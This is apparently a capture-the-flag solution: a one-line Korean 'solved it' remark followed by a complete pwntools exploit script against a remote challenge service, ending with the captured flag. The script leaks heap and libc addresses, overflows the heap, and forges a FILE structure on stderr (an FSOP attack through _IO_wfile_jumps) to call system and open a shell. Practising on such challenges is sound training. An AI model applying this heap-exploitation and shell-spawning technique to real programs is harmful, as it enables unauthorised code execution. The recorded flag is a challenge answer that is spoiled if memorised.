풀었다..

from pwn import *

context.log_level = "debug"

# io = process("./prob")
io = remote("158.247.232.53", 9919)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
libc = ELF("./libc.so.6", checksec=False)


def FSOP_struct(
    flags=0,
    _IO_read_ptr=0,
    _IO_read_end=0,
    _IO_read_base=0,
    _IO_write_base=0,
    _IO_write_ptr=0,
    _IO_write_end=0,
    _IO_buf_base=0,
    _IO_buf_end=0,
    _IO_save_base=0,
    _IO_backup_base=0,
    _IO_save_end=0,
    _markers=0,
    _chain=0,
    _fileno=0,
    _flags2=0,
    _old_offset=0,
    _cur_column=0,
    _vtable_offset=0,
    _shortbuf=0,
    lock=0,
    _offset=0,
    _codecvt=0,
    _wide_data=0,
    _freeres_list=0,
    _freeres_buf=0,
    __pad5=0,
    _mode=0,
    _unused2=b"",
    vtable=0,
    more_append=b"",
):
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += (
        p64(_IO_buf_base)
        + p64(_IO_buf_end)
        + p64(_IO_save_base)
        + p64(_IO_backup_base)
        + p64(_IO_save_end)
    )
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += (
        p64(_old_offset)
        + p16(_cur_column)
        + p8(_vtable_offset)
        + p8(_shortbuf)
        + p32(0x0)
    )
    FSOP += (
        p64(lock)
        + p64(_offset)
        + p64(_codecvt)
        + p64(_wide_data)
        + p64(_freeres_list)
        + p64(_freeres_buf)
    )
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00" * 0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP


def generate():
    io.sendlineafter(b"> ", b"1")


def transmit(src, dest, amount):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"src: ", str(src).encode())
    io.sendlineafter(b"dest: ", str(dest).encode())
    io.sendlineafter(b"amount: ", str(amount).encode())


def use(idx, data):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"data: ", data)


def delete(idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"idx: ", str(idx).encode())


# Heap base leak
generate()
generate()

transmit(1, 0, 0x110)

delete(0)
io.recvn(0x11E)
heap_base = u64(io.recvn(8)) - 0x3F0
log.info(f"heap base: {hex(heap_base)}")
delete(1)


# Libc base leak
generate()
generate()
for i in range(2, 7):
    generate()
    transmit(i, 1, 0x100)

transmit(1, 0, 0x1000)
delete(0)
io.recvn(0xBD6)
libc_base = u64(io.recvn(8)) - 0x203B20
if libc_base < 0:
    raise EOFError
libc.address = libc_base
log.info(f"libc base: {hex(libc_base)}")

for i in range(7):
    delete(i)

fake_fsop_struct = libc.sym["_IO_2_1_stderr_"]
FSOP = FSOP_struct(
    flags=u64(b"\x01\x01\x01\x01;sh\x00"),
    lock=fake_fsop_struct + 0x1100,
    _wide_data=fake_fsop_struct - 0x10,
    _markers=libc.symbols["system"],
    _unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
    vtable=libc.symbols["_IO_wfile_jumps"] - 0x40,
    _mode=0xFFFFFFFF,
)

# heap overflow
generate()
generate()
generate()
generate()


transmit(3, 2, 0x10000)
pay = b"\x00" * 0x100
pay += p64(0) + p64(0x210) + p64(heap_base >> 12) + p64(0) * ((0x200 - 8) // 8)
pay += p64(0) + p64(0x20) + p64(0x1000) + p64(libc.sym["_IO_2_1_stderr_"])

use(2, pay)
use(3, FSOP)

io.sendline(b"1")

io.interactive()
# DH{00b8ae3070fe7791a9ef73d627955dc65f561f710cc5891b80f72fdd8d1ec2ce}